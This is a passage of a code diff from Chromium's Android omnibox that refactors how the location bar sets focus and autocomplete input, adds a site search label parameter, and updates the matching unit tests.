--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextModelBase.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextModelBase.java
@@ -205,11 +205,13 @@
      * @param inlineAutocompleteText The suggested autocompletion for the user's text.
      * @param additionalText This string is displayed adjacent to the omnibox if this match is the
      *     default. Will usually be URL when autocompleting a title, and empty otherwise.
+     * @param siteSearchLabel The site search label to be shown.
      */
     void setAutocompleteText(
             CharSequence userText,
             @Nullable CharSequence inlineAutocompleteText,
-            @Nullable String additionalText);
+            @Nullable String additionalText,
+            @Nullable String siteSearchLabel);
 
     /**
      * Whether we want to be showing inline autocomplete results. We don't want to show them as the
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextTest.java
index de35fdc7..b1c5c7c 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextTest.java
@@ -355,7 +355,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("h", "ello world", null);
+        mAutocomplete.setAutocompleteText("h", "ello world", null, null);
         assertFalse(mAutocomplete.isCursorVisible());
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "h", -1, 1, -1, 0, 10);
@@ -382,7 +382,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("he", "llo world", null);
+        mAutocomplete.setAutocompleteText("he", "llo world", null, null);
         assertFalse(mAutocomplete.isCursorVisible());
 
         mInOrder.verifyNoMoreInteractions();
@@ -408,7 +408,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertVerifierCallCounts(0, 0);
         mInOrder.verifyNoMoreInteractions();
@@ -453,7 +453,7 @@
         mInOrder.verify(mVerifier).onAutocompleteTextStateChanged(false);
         assertVerifierCallCounts(2, 2);
 
-        mAutocomplete.setAutocompleteText("hello ", "world", "foo.com");
+        mAutocomplete.setAutocompleteText("hello ", "world", "foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertTexts("hello ", "world", "foo.com");
         assertVerifierCallCounts(0, 0);
@@ -476,7 +476,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com");
+        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
@@ -517,7 +517,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hell", "o world", "www.bar.com");
+        mAutocomplete.setAutocompleteText("hell", "o world", "www.bar.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
 
         mInOrder.verifyNoMoreInteractions();
@@ -550,7 +550,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", "www.foobar.com");
+        mAutocomplete.setAutocompleteText("hello", " world", "www.foobar.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertVerifierCallCounts(0, 0);
         mInOrder.verifyNoMoreInteractions();
@@ -595,7 +595,7 @@
         mInOrder.verify(mVerifier).onAutocompleteTextStateChanged(false);
         assertVerifierCallCounts(2, 2);
 
-        mAutocomplete.setAutocompleteText("hello ", "world", "www.foobar.com");
+        mAutocomplete.setAutocompleteText("hello ", "world", "www.foobar.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertTexts("hello ", "world", "www.foobar.com");
         assertVerifierCallCounts(0, 0);
@@ -618,7 +618,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com");
+        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
@@ -658,7 +658,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("h", "ello world", "www.foo.com");
+        mAutocomplete.setAutocompleteText("h", "ello world", "www.foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         // The input characters are not enough, so additional texts are not shown.
         verifyOnPopulateAccessibilityEvent(
@@ -687,7 +687,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("he", "llo world", "www.bar.com");
+        mAutocomplete.setAutocompleteText("he", "llo world", "www.bar.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
 
         mInOrder.verifyNoMoreInteractions();
@@ -721,7 +721,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", "www.foobar.com");
+        mAutocomplete.setAutocompleteText("hello", " world", "www.foobar.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertVerifierCallCounts(0, 0);
         mInOrder.verifyNoMoreInteractions();
@@ -745,7 +745,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com");
+        mAutocomplete.setAutocompleteText("hel", "lo world", "www.foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
@@ -801,7 +801,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", "www.foo.com");
+        mAutocomplete.setAutocompleteText("hello", " world", "www.foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
@@ -841,7 +841,7 @@
         // The old model does not allow autocompletion here.
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("h", "ello world", null);
+        mAutocomplete.setAutocompleteText("h", "ello world", null, null);
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "h", -1, 1, -1, 0, 10);
         assertFalse(mAutocomplete.isCursorVisible());
@@ -871,7 +871,7 @@
         // The old model does not allow autocompletion here.
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertTexts("hello", " world", "");
         assertVerifierCallCounts(0, 0);
@@ -923,7 +923,7 @@
 
         // The old model can also autocomplete now.
         assertTrue(mAutocomplete.shouldAutocomplete());
-        mAutocomplete.setAutocompleteText("hello ", "world", "foo.com");
+        mAutocomplete.setAutocompleteText("hello ", "world", "foo.com", null);
         assertTexts("hello ", "world", "foo.com");
         assertFalse(mAutocomplete.isCursorVisible());
         assertVerifierCallCounts(0, 0);
@@ -946,7 +946,7 @@
         assertTrue(mAutocomplete.shouldAutocomplete());
 
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("h", "ello world", null);
+        mAutocomplete.setAutocompleteText("h", "ello world", null, null);
         // The non-spannable model changes selection in two steps.
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "h", -1, 1, -1, 0, 10);
@@ -977,7 +977,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("he", "llo world", "foo.com");
+        mAutocomplete.setAutocompleteText("he", "llo world", "foo.com", null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertVerifierCallCounts(0, 0);
         mInOrder.verifyNoMoreInteractions();
@@ -1000,7 +1000,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "hello", -1, 5, -1, 0, 6);
         assertVerifierCallCounts(0, 1);
@@ -1054,7 +1054,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "hello", -1, 5, -1, 0, 6);
         assertFalse(mAutocomplete.isCursorVisible());
@@ -1096,7 +1096,7 @@
         assertTrue(isComposing());
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertTexts("hello", " world", "");
 
         // User deletes autocomplete.
@@ -1124,7 +1124,7 @@
         assertVerifierCallCounts(2, 2);
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertFalse(mAutocomplete.isCursorVisible());
         assertTexts("hello", " world", "");
         verifyOnPopulateAccessibilityEvent(
@@ -1177,7 +1177,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertTexts("hello", " world", "");
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "hello", -1, 5, -1, 0, 6);
@@ -1217,7 +1217,7 @@
         mInOrder.verifyNoMoreInteractions();
         assertTrue(mAutocomplete.shouldAutocomplete());
         // The controller kicks in.
-        mAutocomplete.setAutocompleteText("hello", " world", null);
+        mAutocomplete.setAutocompleteText("hello", " world", null, null);
         assertTexts("hello", " world", "");
         verifyOnPopulateAccessibilityEvent(
                 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, "hello world", "hello", -1, 5, -1, 0, 6);
@@ -1269,7 +1269,7 @@
     @Test
     public void testOnSaveInstanceStateDoesNotCrash() {
         mInputConnection.setComposingText("h", 1);
-        mAutocomplete.setAutocompleteText("h", "ello world", "foo.com");
+        mAutocomplete.setAutocompleteText("h", "ello world", "foo.com", null);
         // On Android JB, TextView#onSaveInstanceState() calls new SpannableString(mText). This
         // should not crash.
         new SpannableString(mAutocomplete.getText());
@@ -1364,7 +1364,7 @@
         // User types "h".
         assertTrue(mInputConnection.commitText("h", 1));
         assertTrue(mAutocomplete.shouldAutocomplete());
-        mAutocomplete.setAutocompleteText("h", "ello world", null);
+        mAutocomplete.setAutocompleteText("h", "ello world", null, null);
         mAutocomplete.setIgnoreTextChangesForAutocomplete(true);
         mAutocomplete.setText("abcde");
         mAutocomplete.setIgnoreTextChangesForAutocomplete(false);
@@ -1384,7 +1384,7 @@
         // User types "goo".
         assertTrue(mInputConnection.setComposingText("goo", 1));
         assertTrue(mAutocomplete.shouldAutocomplete());
-        mAutocomplete.setAutocompleteText("goo", "gle.com", null);
+        mAutocomplete.setAutocompleteText("goo", "gle.com", null, null);
         assertEquals("google.com", mAutocomplete.getText().toString());
 
         // User presses 'GO' key on the keyboard.
@@ -1400,7 +1400,7 @@
         // User types "goo".
         assertTrue(mInputConnection.setComposingText("goo", 1));
         assertTrue(mAutocomplete.shouldAutocomplete());
-        mAutocomplete.setAutocompleteText("goo", "gle.com", "www.google.com");
+        mAutocomplete.setAutocompleteText("goo", "gle.com", "www.google.com", null);
         assertEquals("google.com - www.google.com", mAutocomplete.getText().toString());
 
         // User presses 'GO' key on the keyboard.
@@ -1417,7 +1417,7 @@
         // User types "goo".
         assertTrue(mInputConnection.setComposingText("goo", 1));
         assertTrue(mAutocomplete.shouldAutocomplete());
-        mAutocomplete.setAutocompleteText("goo", "gle.com", null);
+        mAutocomplete.setAutocompleteText("goo", "gle.com", null, null);
         assertEquals("google.com", mAutocomplete.getText().toString());
 
         // User presses 'GO' key on the keyboard.
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/FuseboxSessionState.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/FuseboxSessionState.java
index aa4798db..c15c4f00 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/FuseboxSessionState.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/FuseboxSessionState.java
@@ -9,7 +9,6 @@
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.build.annotations.Nullable;
 import org.chromium.components.omnibox.AutocompleteInput;
-import org.chromium.components.omnibox.AutocompleteRequestType;
 
 /**
  * Fusebox / Omnibox session state object. Captures controllers and state details needed to fulfill
@@ -24,7 +23,7 @@
      * Details about the user input in the Omnibox. Retained to allow session reconstruction, for
      * example when the user switches tabs.
      */
-    public final AutocompleteInput autocompleteInput = new AutocompleteInput();
+    private AutocompleteInput mAutocompleteInput = new AutocompleteInput();
 
     private boolean mIsActive;
 
@@ -41,9 +40,9 @@
 
         var state = getSessionForTab(userDataHost);
         // Re-apply page metadata in case of ephemeral session, background reload etc.
-        state.autocompleteInput.setPageClassification(dataProvider.getPageClassification(false));
-        state.autocompleteInput.setPageUrl(dataProvider.getCurrentGurl());
-        state.autocompleteInput.setPageTitle(dataProvider.getTitle());
+        state.mAutocompleteInput.setPageClassification(dataProvider.getPageClassification(false));
+        state.mAutocompleteInput.setPageUrl(dataProvider.getCurrentGurl());
+        state.mAutocompleteInput.setPageTitle(dataProvider.getTitle());
         return state;
     }
 
@@ -73,10 +72,9 @@
 
         mIsActive = isActive;
         if (isActive) {
-            autocompleteInput.setRequestType(AutocompleteRequestType.SEARCH);
-            autocompleteInput.setUrlFocusTime(System.currentTimeMillis());
+            mAutocompleteInput.setUrlFocusTime(System.currentTimeMillis());
         } else {
-            autocompleteInput.reset();
+            mAutocompleteInput.reset();
         }
     }
 
@@ -86,4 +84,16 @@
     public boolean isSessionActive() {
         return mIsActive;
     }
+
+    /** Applies the new AutocompleteInput to the current Session object. */
+    public void setAutocompleteInput(AutocompleteInput newInput) {
+        mAutocompleteInput = newInput;
+    }
+
+    /**
+     * @return The current AutocompleteInput.
+     */
+    public AutocompleteInput getAutocompleteInput() {
+        return mAutocompleteInput;
+    }
 }
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java
index 5ef475b..9c230153 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java
@@ -246,8 +246,6 @@
     private @Nullable AutocompleteInput mCurrentInput;
     private final Callback<@AutocompleteRequestType Integer> mAutocompleteRequestTypeObserver =
             this::onAutocompleteRequestTypeChanged;
-    private @AutocompleteRequestType int mPendingRequestType = AutocompleteRequestType.SEARCH;
-    private @OmniboxFocusReason int mPendingFocusReason = OmniboxFocusReason.OMNIBOX_TAP;
     private @Nullable Callback<Boolean> mOnSpecializedFuseboxModeActivatedCallback;
 
     private final ButtonToolbarWidthConsumer mBookmarkButtonToolbarWidthConsumer;
@@ -602,11 +600,8 @@
         // This method should only be called on devices with a hardware keyboard attached, as
         // described in the documentation for LocationBar#showUrlBarCursorWithoutFocusAnimations.
         setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                /* pastedText= */ null,
-                /* selectText= */ false,
-                OmniboxFocusReason.DEFAULT_WITH_HARDWARE_KEYBOARD,
-                AutocompleteRequestType.SEARCH);
+                new AutocompleteInput()
+                        .setFocusReason(OmniboxFocusReason.DEFAULT_WITH_HARDWARE_KEYBOARD));
     }
 
     /**
@@ -618,20 +613,17 @@
             // If we did not run the focus animations, then the user has not typed any text.
             // So, clear the focus and accept whatever URL the page is currently attempting to
             // display, given that the current tab is not displaying the NTP.
-            setUrlBarFocus(
-                    /* shouldBeFocused= */ false,
-                    null,
-                    /* selectText= */ false,
-                    OmniboxFocusReason.UNFOCUS,
-                    AutocompleteRequestType.SEARCH);
+            setUrlBarFocus(null);
         }
     }
 
     /*package */ void revertChanges() {
         if (mUrlHasFocus) {
             GURL currentUrl = mLocationBarDataProvider.getCurrentGurl();
-            if (NativePage.isChromePageUrl(currentUrl, mLocationBarDataProvider.isOffTheRecord())) {
-                refreshAutocompleteForText(null, /* selectText= */ false);
+            if (NativePage.isChromePageUrl(currentUrl, mLocationBarDataProvider.isOffTheRecord())
+                    && mCurrentInput != null) {
+                mCurrentInput.setUserText(null);
+                refreshAutocompleteForCurrentInput();
             } else {
                 setUrlBarText(
                         mLocationBarDataProvider.getUrlBarData(),
@@ -825,10 +817,11 @@
     }
 
     /* package */ boolean didFocusUrlFromFakebox() {
-        var focusReason =
-                mCurrentInput == null ? mPendingFocusReason : mCurrentInput.getFocusReason();
+        // Retrieve state for the tab in case we are in the process of activating the input session.
+        var state = FuseboxSessionState.from(mLocationBarDataProvider);
+        if (state == null) return false;
 
-        return switch (focusReason) {
+        return switch (state.getAutocompleteInput().getFocusReason()) {
             case OmniboxFocusReason.FAKE_BOX_TAP,
                     OmniboxFocusReason.FAKE_BOX_LONG_PRESS,
                     OmniboxFocusReason.TASKS_SURFACE_FAKE_BOX_LONG_PRESS,
@@ -881,7 +874,10 @@
     /* package */ void deleteButtonClicked(View view) {
         if (!mNativeInitialized) return;
         RecordUserAction.record("MobileOmniboxDeleteUrl");
-        refreshAutocompleteForText(null, /* selectText= */ false);
+        if (mCurrentInput == null) return; // session not started yet.
+
+        mCurrentInput.setUserText(null);
+        refreshAutocompleteForCurrentInput();
         updateButtonVisibility();
         mUrlCoordinator.requestAccessibilityFocus();
     }
@@ -979,13 +975,13 @@
             if (didFocusUrlFromFakebox()
                     && mUrlHasFocus
                     && ChromeAccessibilityUtil.get().isAccessibilityEnabled()) {
-                String existingText = mUrlCoordinator.getTextWithoutAutocomplete();
+                // TODO(crbug.com/475620206): likely an old workaround, consider removing.
                 mUrlCoordinator.clearFocus();
                 requestUrlFocus();
                 // Existing text (e.g. if the user pasted via the fakebox) from the fake box
                 // should be restored after toggling the focus.
-                if (!TextUtils.isEmpty(existingText)) {
-                    refreshAutocompleteForText(existingText, false);
+                if (mCurrentInput != null && !mCurrentInput.getUserText().isEmpty()) {
+                    refreshAutocompleteForCurrentInput();
                 }
             }
 
@@ -1050,11 +1046,7 @@
         }
 
         session.setSessionActive(true);
-        mCurrentInput = session.autocompleteInput;
-        mCurrentInput.setFocusReason(mPendingFocusReason);
-        mCurrentInput.setRequestType(mPendingRequestType);
-        mPendingRequestType = AutocompleteRequestType.SEARCH;
-        mPendingFocusReason = OmniboxFocusReason.OMNIBOX_TAP;
+        mCurrentInput = session.getAutocompleteInput();
         mCurrentInput.getRequestTypeSupplier().addSyncObserver(mAutocompleteRequestTypeObserver);
 
         // In the event input session was activated before native initialization we cannot
@@ -1384,17 +1376,19 @@
      * @param selectText Whether the text should be selected.
      * @return Whether this changed the existing text.
      */
-    /* package */ boolean refreshAutocompleteForText(@Nullable String text, boolean selectText) {
-        UrlBarData data = UrlBarData.forNonUrlText(text);
+    /* package */ boolean refreshAutocompleteForCurrentInput() {
+        if (mCurrentInput == null) return false;
+        UrlBarData data = UrlBarData.forNonUrlText(mCurrentInput.getUserText());
+        // TODO(crbug.com/475620206): move to AutocompleteMediator#beginInput() and retire method.
         boolean wasChanged =
                 mUrlCoordinator.setUrlBarData(
                         data,
                         UrlBar.ScrollType.NO_SCROLL,
-                        selectText
-                                ? UrlBarCoordinator.SelectionState.SELECT_ALL
-                                : UrlBarCoordinator.SelectionState.SELECT_END);
-
-        mAutocompleteCoordinator.onTextChanged(data.displayText.toString());
+                        UrlBarCoordinator.SelectionState.SELECT_END);
+        mUrlCoordinator.setSelection(
+                mCurrentInput.getSelectionStart(), mCurrentInput.getSelectionEnd());
+        // Handle the case of active input with deleted user text: triggers Autocomplete restart.
+        beginOrResumeInput(/* activateNewSession= */ false);
 
         return wasChanged;
     }
@@ -1856,13 +1850,11 @@
         }
 
         // Restore the saved tab state.
-        if (beginOrResumeInput(/* activateNewSession= */ false)) {
-            setUrlBarFocus(
-                    /* shouldBeFocused= */ true,
-                    mCurrentInput.getUserText(),
-                    /* selectText= */ false,
-                    OmniboxFocusReason.LOCATION_BAR_STATE_RESTORATION,
-                    mCurrentInput.getRequestType());
+        var state = FuseboxSessionState.from(mLocationBarDataProvider);
+        if (state != null && state.isSessionActive()) {
+            state.getAutocompleteInput()
+                    .setFocusReason(OmniboxFocusReason.LOCATION_BAR_STATE_RESTORATION);
+            setUrlBarFocus(state.getAutocompleteInput());
             if (mPersistEditingState) {
                 // Need to post this as the url will not apply the text instantly.
                 PostTask.postTask(
@@ -1924,43 +1916,50 @@
     }
 
     // OmniboxStub implementation.
-
+    /**
+     * Set the omnibox to have focus or not.
+     *
+     * <p>Updates passed AutocompleteInput instance so it correctly reflects the current page URL,
+     * title, classification, and focus time, bringing the Fusebox to focus with the supplied data.
+     * When null instance is passed the focus is cleared.
+     *
+     * @param input The AutocompleteInput object with all the details for the focus operation. If
+     *     null, the focus will be cleared.
+     */
     @Override
-    public void setUrlBarFocus(
-            boolean shouldBeFocused,
-            @Nullable String pastedText,
-            boolean selectText,
-            @OmniboxFocusReason int reason,
-            @AutocompleteRequestType int requestType) {
-
-        boolean urlHasFocus = mUrlHasFocus;
-        if (shouldBeFocused) {
-            mPendingRequestType = requestType;
-            mPendingFocusReason = reason;
-            if (!urlHasFocus) {
-                recordOmniboxFocusReason(reason);
-                // Record Lens button shown when Omnibox is focused.
-                if (shouldShowLensButton()) LensMetrics.recordOmniboxFocusedWhenLensShown();
-            }
-
-            mUrlFocusedWithPastedText = pastedText != null;
-
-            if (urlHasFocus && mUrlFocusedWithoutAnimations) {
-                handleUrlFocusAnimation(true);
-            } else {
-                requestUrlFocus();
-            }
-        } else {
-            assert pastedText == null;
+    public void setUrlBarFocus(@Nullable AutocompleteInput input) {
+        if (input == null) {
+            endInput();
             mUrlCoordinator.clearFocus();
+            return;
         }
 
-        if (pastedText != null) {
-            // Wait for the UrlBar to focus if invoked from Mic.
-            PostTask.postTask(
-                    TaskTraits.UI_USER_VISIBLE,
-                    () -> refreshAutocompleteForText(pastedText, selectText));
+        input.setPageClassification(mLocationBarDataProvider.getPageClassification(false));
+        input.setPageUrl(mLocationBarDataProvider.getCurrentGurl());
+        input.setPageTitle(mLocationBarDataProvider.getTitle());
+
+        var state = FuseboxSessionState.from(mLocationBarDataProvider);
+        // Conditions to show omnibox and suggestions are not met - avoid showing detached
+        // suggest and bail.
+        if (state == null) return;
+
+        state.setAutocompleteInput(input);
+
+        if (!mUrlHasFocus) {
+            recordOmniboxFocusReason(input.getFocusReason());
+            // Record Lens button shown when Omnibox is focused.
+            if (shouldShowLensButton()) LensMetrics.recordOmniboxFocusedWhenLensShown();
         }
+
+        mUrlFocusedWithPastedText = !input.getUserText().isEmpty();
+        if (mUrlHasFocus && mUrlFocusedWithoutAnimations) {
+            handleUrlFocusAnimation(true);
+        } else {
+            requestUrlFocus();
+        }
+
+        // Wait for the Url focus change before refreshing autocomplete.
+        refreshAutocompleteForCurrentInput();
     }
 
     @Override
@@ -1986,12 +1985,7 @@
     /** {@see VoiceRecognitionHandler.Delegate#clearOmniboxFocus()} */
     @Override
     public void clearOmniboxFocus() {
-        setUrlBarFocus(
-                /* shouldBeFocused= */ false,
-                /* pastedText= */ null,
-                /* selectText= */ false,
-                OmniboxFocusReason.UNFOCUS,
-                AutocompleteRequestType.SEARCH);
+        setUrlBarFocus(null);
     }
 
     /** {@see VoiceRecognitionHandler.Delegate#notifyVoiceRecognitionCanceled()} */
@@ -2027,11 +2021,10 @@
         }
 
         setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                /* pastedText= */ query,
-                /* selectText= */ true,
-                OmniboxFocusReason.SEARCH_QUERY,
-                AutocompleteRequestType.SEARCH);
+                new AutocompleteInput()
+                        .setUserText(query)
+                        .setSelection(0, query.length())
+                        .setFocusReason(OmniboxFocusReason.SEARCH_QUERY));
         mUrlCoordinator.setKeyboardVisibility(true, false);
     }
 
@@ -2074,12 +2067,7 @@
             return;
         }
 
-        setUrlBarFocus(
-                /* shouldBeFocused= */ false,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.UNFOCUS,
-                AutocompleteRequestType.SEARCH);
+        setUrlBarFocus(null);
         // Revert the URL to match the current page.
         setUrl(mLocationBarDataProvider.getCurrentGurl(), mLocationBarDataProvider.getUrlBarData());
         focusCurrentTab();
@@ -2153,12 +2141,7 @@
                 && newConfig.keyboard != Configuration.KEYBOARD_QWERTY) {
             // If we lose the hardware keyboard and the focus animations were not run, then the
             // user has not typed any text, so we will just clear the focus instead.
-            setUrlBarFocus(
-                    /* shouldBeFocused= */ false,
-                    /* pastedText= */ null,
-                    /* selectText= */ false,
-                    OmniboxFocusReason.UNFOCUS,
-                    AutocompleteRequestType.SEARCH);
+            setUrlBarFocus(null);
         }
     }
 
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediatorTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediatorTest.java
index ebae9f6..9984464 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediatorTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediatorTest.java
@@ -13,7 +13,6 @@
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.anyLong;
 import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.argThat;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.atLeast;
 import static org.mockito.Mockito.atLeastOnce;
@@ -32,7 +31,6 @@
 import android.content.res.Configuration;
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.text.TextUtils;
 import android.util.Property;
 import android.view.ContextThemeWrapper;
 import android.view.KeyEvent;
@@ -46,7 +44,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.ArgumentCaptor;
-import org.mockito.ArgumentMatcher;
 import org.mockito.Captor;
 import org.mockito.Mock;
 import org.mockito.Mockito;
@@ -477,7 +474,7 @@
                 .setAutocompleteText("text", "textWithAutocomplete", "additionalText", null);
 
         var state = FuseboxSessionState.from(mLocationBarDataProvider);
-        state.autocompleteInput.setRequestType(AutocompleteRequestType.AI_MODE);
+        state.getAutocompleteInput().setRequestType(AutocompleteRequestType.AI_MODE);
         mMediator.onSuggestionsChanged(defaultMatch);
         verify(mStatusCoordinator, times(2)).onDefaultMatchClassified(true);
     }
@@ -734,15 +731,12 @@
         mMediator.onFinishNativeInitialization();
         mMediator.setSearchQuery(query);
 
-        ShadowLooper.idleMainLooper();
-
         verify(mUrlCoordinator).requestFocus();
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        argThat(matchesUrlBarDataForQuery(query)),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(SelectionState.SELECT_ALL));
-        verify(mAutocompleteCoordinator).onTextChanged(query);
+        mMediator.onUrlFocusChange(true);
+
+        ArgumentCaptor<AutocompleteInput> captor = ArgumentCaptor.forClass(AutocompleteInput.class);
+        verify(mAutocompleteCoordinator).beginInput(captor.capture());
+        assertEquals(query, captor.getValue().getUserText());
         verify(mUrlCoordinator).setKeyboardVisibility(true, false);
     }
 
@@ -762,25 +756,6 @@
     }
 
     @Test
-    public void testSetSearchQuery_preNative() {
-        String query = "example search";
-        mMediator.onFinishNativeInitialization();
-        mProfileSupplier.set(mProfile);
-        mMediator.setSearchQuery(query);
-
-        ShadowLooper.idleMainLooper();
-
-        verify(mUrlCoordinator).requestFocus();
-        verify(mUrlCoordinator)
-                .setUrlBarData(
-                        argThat(matchesUrlBarDataForQuery(query)),
-                        eq(UrlBar.ScrollType.NO_SCROLL),
-                        eq(SelectionState.SELECT_ALL));
